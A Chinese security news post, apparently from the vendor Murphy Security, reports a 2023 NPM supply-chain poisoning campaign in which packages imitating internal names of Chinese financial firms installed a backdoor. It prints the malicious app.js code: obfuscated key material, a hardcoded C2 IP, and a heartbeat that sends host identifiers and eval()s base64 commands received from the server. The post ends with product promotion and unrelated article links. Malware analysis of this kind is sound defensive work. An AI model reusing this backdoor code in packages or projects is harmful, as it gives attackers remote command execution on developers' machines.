当前位置: 首页 > news >正文

首起针对国内金融企业的开源组件投毒攻击事件

 简述

2023年8月9日,墨菲监控到用户名为 snugglejack_org (邮件地址:SnuggleBearrxx@hotmail.com)的用户发布到 NPM 仓库中的 ws-paso-jssdk 组件包具有发向 https://ql.rustdesk[.]net 的可疑流量,经过确认该组件包携带远控脚本,从攻击者可控的 C2 服务器接收并执行系统命令,该组件包于2023年8月10日7点 21 分从 NPM 仓库下架。

经过持续跟踪发现,该投毒者继续向 NPM 仓库继续发布了 pingan-vue-floating 等类似恶意组件包,投毒包的恶意 C2 地址改为了 62.234.32.226 ,此 IP 为以北京腾讯云提供,并且投毒包以 pingan、ynf 等命名,很大几率是针对国内厂商(例如中国*安),投毒者通过模拟目标企业内部私有源组件命名进行混淆,进而通过诱导用户企业内部用户下载投毒组件包实现对目标机器的远控入侵,这是目前公开发现的首起针对国内金融企业的开源组件投毒攻击事件。

截至2023年8月14日,投毒包仍可在NPM腾讯源进行下载(见图1),用户可通过 npm ls 判断是否下载了恶意组件,批量检测投毒检测可联系墨菲安全使用产品工具进行全网一键排查,最近正值大型攻防演练,建议大家认真排查。

图1: 腾讯云NPM组件下载地址 

投毒分析

以pingan-vue-floating-0.0.7组件为例,该组件包通过 pm2 创建守护线程,每隔 45 秒后向攻击者可控的恶意C2服务器发送请求维持心跳,进而接收并执行攻击者发送的系统命令:


//pingan-vue-floating-0.0.7/app.jsconst key = (37532).toString(36).toLowerCase()+(27).toString(36).toLowerCase().split('').map(function(S){return String.fromCharCode(S.charCodeAt()+(-39))}).join('')+(1166).toString(36).toLowerCase()+(function(){var v=Array.prototype.slice.call(arguments),A=v.shift();return v.reverse().map(function(N,Q){return String.fromCharCode(N-A-10-Q)}).join('')})(43,107,106,169,150,111,106)+(914).toString(36).toLowerCase()+(function(){var k=Array.prototype.slice.call(arguments),D=k.shift();return k.reverse().map(function(r,I){return String.fromCharCode(r-D-8-I)}).join('')})(36,167,112)
const url = "http://62.234.32.226:8888"
const filename = path.join(os.tmpdir(), 'node_logs.txt');
const headersCnf = {headers: {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134'}
};
……
function heartbeat(){const requestData = {hostname: os.hostname(),uuid:machineIdSync({original: true}),os:os.platform(),};sendRequest(url+'/api/index',aesEncrypt(JSON.stringify(requestData)))const task = {uuid:machineIdSync({original: true}),}sendRequest(url+'/api/captcha',aesEncrypt(JSON.stringify(task))).then(result => {try{if (result !== undefined) {const data = JSON.parse(result);const decodedData = Buffer.from(data.code, 'base64').toString();eval(decodedData)}}catch (error){}});}function app(){const result = checkFile();if (result.exists) {return} else {createTmpFile();setInterval(heartbeat, 45000);}
}
app()

此次事件的攻击者投毒的所有组件列表

Tip:请各单位自行排查!

排查工具及投毒情报

1. 墨菲安全提供产品可实时拦截针对开源组件的投毒

墨菲安全的私有源网关产品可对npm、pip、maven等中央仓库的投毒事件进行实时的检测和拦截,同时支持对高危漏洞实现基线管理,目前该产品已在蚂蚁、小米、中国电信、中国移动等数十家客户落地应用。

2. 墨菲安全提供实时的开源组件投毒情报预警可订阅

墨菲安全0day漏洞及投毒情报覆盖最新的0day、1day及投毒情报预警,所有情报经过严格的安全专家研判,保障企业获取的第一手的高质量漏洞及投毒情报,更有比CVE漏洞库多25+额外的详细分析字段,目前该产品已在蚂蚁、美团、中国电信等数十家客户落地应用。


申请演示&试用通道:

https://www.murphysec.com/enterprise

http://www.lryc.cn/news/125517.html

相关文章:

  • 源于传承,擎领未来,新架构、新工艺下的“换心工程”——金融电子化访中电金信副总经理、研究院院长况文川
  • pytest数据驱动(最简单)
  • 分布式 - 服务器Nginx:一小时入门系列之代理缓冲与缓存
  • 什么是集成学习算法
  • springboot多模块打包方式
  • 【爬虫】Urllib让我们的 python 假装是浏览器
  • java基础面试
  • C++ 动态规划经典案例解析之最长公共子序列(LCS)_窥探递归和动态规划的一致性
  • 接口测试自动化:简化测试流程,提升效率
  • LoRA微调方法详解
  • redis-数据类型及样例
  • 公司电脑三维图纸加密、机械图挡加密软件
  • 安装使用IDEA,修改样式,配置服务,构建Maven项目(超级详细版)
  • Apache Dubbo 云原生可观测性的探索与实践
  • DaVinci Resolve Studio 18 for Mac 达芬奇调色
  • Excelize Go语言操作 Office Excel文档基础库
  • SpringBoot、Java 使用 Jsoup 解析 HTML 页面
  • C# 随心记
  • 华为OD机试-字符串分割
  • element-ui的el-dialog,简单的封装。
  • SpringBoot引入外部jar打包失败解决,SpringBoot手动引入jar打包war后报错问题
  • HTTP基础:学习HTTP协议的基本知识,了解请求和响应的过程
  • Spark基础-任务提交相关参数
  • ROS-PyQt小案例
  • 【算法】双指针——leetcode盛最多水的容器、剑指Offer57和为s的两个数字
  • idea 使用debug 启动项目的时候 出现 Method breakpoints may dramatically slow down debugging
  • Tomcat的一些配置问题(server.xml/catalina.sh)
  • 飞天使-jenkins进行远程linux机器修改某个文件的思路
  • Revit SDK 介绍:PanelSchedule 配电盘明细表
  • Java后端实现不用pagehelper。手写分页如何实现?